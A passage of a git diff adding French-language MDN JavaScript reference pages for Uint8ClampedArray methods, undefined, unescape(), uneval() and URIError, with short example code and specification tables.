+ <dt>{{jsxref("TypedArray.every", "Uint8ClampedArray.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Uint8ClampedArray.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Uint8ClampedArray.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Uint8ClampedArray.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Uint8ClampedArray.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Uint8ClampedArray.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Uint8ClampedArray.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Uint8ClampedArray.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Uint8ClampedArray.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Uint8ClampedArray.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Uint8ClampedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Uint8ClampedArray.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Uint8ClampedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8ClampedArray.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Uint8ClampedArray.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Uint8ClampedArray.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Uint8ClampedArray.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Uint8ClampedArray.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Uint8ClampedArray.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Uint8ClampedArray.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Uint8ClampedArray.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Uint8ClampedArray.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Uint8ClampedArray</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Uint8ClampedArray.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Uint8ClampedArray.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Uint8ClampedArray.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Uint8ClampedArray.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façon de créer un objet <code>Uint8ClampedArray</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var uintc8 = new Uint8ClampedArray(2);
+uintc8[0] = 42;
+uintc8[1] = 1337;
+console.log(uintc8[0]); // 42
+console.log(uintc8[1]); // 255 (valeur ramenée à 255)
+console.log(uintc8.length); // 2
+console.log(uintc8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Uint8ClampedArray([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Uint8ClampedArray([21, 31]);
+var y = new Uint8ClampedArray(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8ClampedArray(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uintc8 = new Uint8ClampedArray(iterable);
+// Uint8ClampedArray[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Englobée par ECMAScript 2015</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur <code>Uint8ClampedArray</code> afin qu'il utilise l'opération <code>ToIndex</code> et qu'il puisse être utilisé sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Uint8ClampedArray")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Uint8ClampedArray</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler <code>Uint8ClampedArray</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Uint8ClampedArray([1, 2, 3]);
+// TypeError: calling a builtin Uint8ClampedArray constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Uint8ClampedArray([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/undefined/index.html b/files/fr/web/javascript/reference/objets_globaux/undefined/index.html
new file mode 100644
index 0000000000..0e9e0a1cdc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/undefined/index.html
@@ -0,0 +1,137 @@
+---
+title: undefined
+slug: Web/JavaScript/Reference/Objets_globaux/undefined
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/undefined
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La propriété globale <strong><code>undefined</code></strong> représente la valeur <code>undefined</code><em>.</em> Cette valeur est l'<a href="/fr/docs/Web/JavaScript/Structures_de_données#Le_type_ind.C3.A9fini">un des types primitifs de JavaScript</a>.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-undefined.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">undefined</pre>
+
+<h2 id="Description">Description</h2>
+
+<p><code>undefined</code> est une propriété de <em>l'objet global</em>, c'est-à-dire qu'elle est accessible globalement. La valeur initiale d'<code>undefined</code> est la valeur primitive <code>undefined</code>.</p>
+
+<p>Dans les navigateurs modernes, d'après la spécification ECMAScript 5, <code>undefined</code> est une propriété non-configurable et non accessible en écriture. Si, toutefois, elle peut être modifiée dans l'environnement utilisé, il faut éviter de l'écraser.</p>
+
+<p>Une variable pour laquelle aucune valeur n'a été assignée sera de type <code>undefined</code>. Une méthode ou instruction renvoie également <code>undefined</code> si la variable à évaluer n'a pas de valeur assignée. Une fonction renvoie <code>undefined</code> si aucune valeur n'a été {{jsxref("Instructions/return", "retournée","",1)}}.</p>
+
+<div class="warning">
+<p><strong>À ne pas faire !</strong> Puisque <code>undefined</code> n'est pas un <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Mots-cl.C3.A9s">mot réservé du langage JavaScript</a>, il peut être utilisé comme <a href="/fr/docs/Web/JavaScript/Guide/Valeurs,_variables,_et_littéraux#Variables">identifiant</a> (nom de variable) dans toute portée autre que la portée globale. Ceci est une très mauvaise idée pour la lisibilité du code et sa maintenabilité.</p>
+
+<pre class="brush: js">// À NE PAS FAIRE
+
+// écrit "toto string" dans la console
+(function() { var undefined = 'toto'; console.log(undefined, typeof undefined); })();
+
+// écrit "toto string" dans la console
+(function(undefined) { console.log(undefined, typeof undefined); })('toto');
+</pre>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="L'égalité_stricte_et_undefined">L'égalité stricte et <code>undefined</code></h3>
+
+<p>Il est possible d'utiliser <code>undefined</code> et les opérateurs stricts pour l''égalité et l'inégalité strictes afin de déterminer si une variable a une valeur affectée. Dans le code qui suit, la variable <code>x</code> n'est pas initialisée et la première instruction <code>if</code> sera évaluée à <code>true</code> (vrai).</p>
+
+<pre class="brush: js">var x;
+if (x === undefined) {
+   // ces instructions seront exécutées
+}
+if (x !== undefined) {
+   // ces instructions ne seront pas exécutées
+}
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> L'opérateur d'égalité stricte doit être utilisé ici plutôt que l'opérateur d'égalité simple. En effet, <code>x == undefined</code> vérifie également si <code>x</code> vaut <code>null</code>, tandis que l'égalité stricte ne le fait pas. <code>null</code> n'est pas équivalent à <code>undefined</code>. Voir la page sur les {{jsxref("Opérateurs/Opérateurs_de_comparaison","opérateurs de comparaison","",1)}} pour plus de détails.</p>
+</div>
+
+<h3 id="L'opérateur_typeof_et_undefined">L'opérateur <code>typeof</code> et <code>undefined</code></h3>
+
+<p>L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} peut également être utilisé :</p>
+
+<pre class="brush: js">var x;
+if (typeof x == 'undefined') {
+   // ces instructions seront exécutées
+}
+</pre>
+
+<p>Une des raisons pour utiliser {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} est qu'il ne renverra pas d'erreur si la variable n'a pas été définie :</p>
+
+<pre class="brush: js">// x n'a pas encore été défini
+if (typeof x === 'undefined') { // donnera true sans erreur
+   // ces instructions seront exécutées
+}
+
+if (x === undefined) { // déclenche une ReferenceError
+
+}
+</pre>
+
+<h3 id="L'opérateur_void_et_undefined">L'opérateur <code>void</code> et <code>undefined</code></h3>
+
+<p>L'opérateur {{jsxref("Opérateurs/L_opérateur_void", "void")}} est une troisième solution.</p>
+
+<pre class="brush: js">var x;
+if (x === void 0) {
+   // ces instructions seront exécutées
+}
+
+// y n'a pas été défini avant
+if (y === void 0) {
+   // déclenche une ReferenceError: y is not defined
+   // (contrairement à `typeof`)
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-4.3.9', 'undefined')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.3', 'undefined')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-undefined', 'undefined')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.undefined")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/unescape/index.html b/files/fr/web/javascript/reference/objets_globaux/unescape/index.html
new file mode 100644
index 0000000000..4d2adcae0d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/unescape/index.html
@@ -0,0 +1,91 @@
+---
+title: unescape()
+slug: Web/JavaScript/Reference/Objets_globaux/unescape
+tags:
+  - Déprécié
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/unescape
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<div class="warning"><strong>Attention !</strong> Bien que <code>unescape(…)</code> ne soit pas strictement obsolète (au sens où elle n'a pas été retirée des standards), elle est définie au sein de <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">l'Annexe B</a> du standard ECMA-262 qui commence par :
+
+<blockquote>… L'ensemble des fonctionnalités et comportements définis dans cette annexe possède une ou plusieurs caractéristiques indésirables. En l'absence d'une utilisation historique, ces fonctionnalités seraient retirés de la spécification. …<br>
+… Les développeurs ne devraient pas utiliser ces fonctionnalités et comportements ou présupposer qu'elles existent lors de l'écriture de nouveau code ECMAScript. …</blockquote>
+</div>
+
+<p>La fonction dépréciée <code><strong>unescape()</strong></code> calcule une nouvelle chaîne de caractères et remplace les séquences d'échappement hexadécimales par les caractères qu'elles représentent. Les séquences d'échappement peuvent provenir de la fonction {{jsxref("escape")}}. Cette méthode est obsolète, c'est pourquoi il est conseillé d'utiliser {{jsxref("decodeURI")}} ou {{jsxref("decodeURIComponent")}} à la place.</p>
+
+<div class="note"><strong>Note : </strong><code>unescape()</code> ne doit pas être utilisée pour décoder les URI. À la place, utilisez <code>decodeURI</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">unescape(<var>str</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>La chaîne de caractères à décoder.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères dont les caractères ont été décodés.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>unescape</code> est une propriété de l'<em>objet global</em>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">unescape("abc123");     // "abc123"
+unescape("%E4%F6%FC");  // "äöü"
+unescape("%u0107");     // "ć"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-unescape-string', 'unescape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles d'ECMAScript pour les navigateurs Web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.2', 'unescape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définie dans l'annexe B (informative) sur la compatibilité.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-15.1.2.5', 'unescape')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.unescape")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+ <li>{{jsxref("escape")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/uneval/index.html b/files/fr/web/javascript/reference/objets_globaux/uneval/index.html
new file mode 100644
index 0000000000..fabc5b0cf1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/uneval/index.html
@@ -0,0 +1,69 @@
+---
+title: uneval()
+slug: Web/JavaScript/Reference/Objets_globaux/uneval
+tags:
+  - Fonction
+  - JavaScript
+  - Non-standard
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/uneval
+---
+<div>{{jsSidebar("Objects")}}{{Non-standard_header}}</div>
+
+<p>La fonction <code><strong>uneval()</strong></code> renvoie une chaîne de caractères représentant le code source d'un objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">uneval(<var>objet</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>Une instruction ou une expression JavaScript.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente le code source de l'objet indiqué.</p>
+
+<div class="note"><strong>Note :</strong> Le résultat obtenu ne sera pas une représentation JSON valide de l'objet.</div>
+
+<h2 id="Description">Description</h2>
+
+<p><code>uneval()</code> est une fonction disponible au plus haut niveau et n'est rattachée à aucun objet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var a = 1;
+uneval(a); // renvoie une chaîne qui contient 1
+
+var b = "1";
+uneval(b) // renvoie une chaîne qui contient "1"
+
+uneval(function toto(){}); // renvoie "(function toto(){})"
+
+
+var a = uneval(function toto(){return 'salut'});
+var toto = eval(a);
+toto(); // renvoie "salut"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette méthode ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.uneval")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Objets_globaux/eval", "eval()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("Object.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/urierror/index.html b/files/fr/web/javascript/reference/objets_globaux/urierror/index.html
new file mode 100644
index 0000000000..7142b5dbe4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/urierror/index.html
@@ -0,0 +1,137 @@
+---
+title: URIError
+slug: Web/JavaScript/Reference/Objets_globaux/URIError
+tags:
+  - Error
+  - JavaScript
+  - Object
+  - Reference
+  - URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>URIError</strong></code> représente une erreur renvoyée lorsqu'une fonction de manipulation d'URI a été utilisée de façon inappropriée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>new URIError([<var>message</var>[, <var>nomFichier</var>[, <var>numéroLigne</var>]]])</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Ce paramètre est optionnel. Il correspond à un chaîne de caractères décrivant l'erreur de façon compréhensible.</dd>
+ <dt><code>nomFichier</code> {{non-standard_inline}}</dt>
+ <dd>Ce paramètre est optionnel. Il correspond au nom du fichier contenant le code à l'origine de l'exception.</dd>
+ <dt><code>numéroLigne</code> {{non-standard_inline}}</dt>
+ <dd>Ce paramètre est optionnel. Il correspond au numéro de la ligne dans le fichier contenant le code qui a entraîné l'exception.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>URIError</code> est lancée lorsque les fonctions de gestion d'URI reçoivent une URI mal formée.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("URIError.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à un objet <code>URIError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>URIError</code> ne contient aucune méthode qui lui soit directement attachée. Cependant, il hérite de certaines méthodes grâce à sa chaîne de prototypes.</p>
+
+<h2 id="Instances_d'URIError">Instances d'<code>URIError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Propriétés')}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/URIError/prototype', 'Méthodes')}}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Intercepter_une_exception_URIError">Intercepter une exception <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  decodeURIComponent('%');
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "malformed URI sequence"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "Scratchpad/1"
+  console.log(e.lineNumber);          // 2
+  console.log(e.columnNumber);        // 2
+  console.log(e.stack);               // "@Scratchpad/2:2:3\n"
+}
+</pre>
+
+<h3 id="Créer_une_exception_URIError">Créer une exception <code>URIError</code></h3>
+
+<pre class="brush: js">try {
+  throw new URIError('Coucou', 'monFichier.js', 10);
+} catch (e) {
+  console.log(e instanceof URIError); // true
+  console.log(e.message);             // "Coucou"
+  console.log(e.name);                // "URIError"
+  console.log(e.fileName);            // "monFichier.js"
+  console.log(e.lineNumber);          // 10
+  console.log(e.columnNumber);        // 0
+  console.log(e.stack);               // "@Scratchpad/2:2:9\n"
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.6', 'URIError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-urierror', 'URIError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.URIError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("URIError.prototype")}}</li>
+ <li>{{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html
new file mode 100644
index 0000000000..58db4bf9ca
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/urierror/prototype/index.html
@@ -0,0 +1,89 @@
+---
+title: URIError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/URIError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - URIError
+translation_of: Web/JavaScript/Reference/Global_Objects/URIError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>URIError.prototype</strong></code> représente le prototype du constructeur {{jsxref("URIError")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("URIError")}} héritent de <code>URIError.prototype</code>. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à l'ensemble des instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>URIError.prototype.constructor</code></dt>
+ <dd>Cette propriété définit la fonction qui a créé le prototype de l'instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "URIError.prototype.message")}}</dt>
+ <dd>Un message décrivant l'erreur. Bien qu'ECMA-262 spécifie qu'{{jsxref("URIError")}} devrait avoir une propriété <code>message</code> en propre, <a href="/fr/docs/SpiderMonkey">SpiderMonkey</a> lui fait hériter de {{jsxref("Error.prototype.message")}}.</dd>
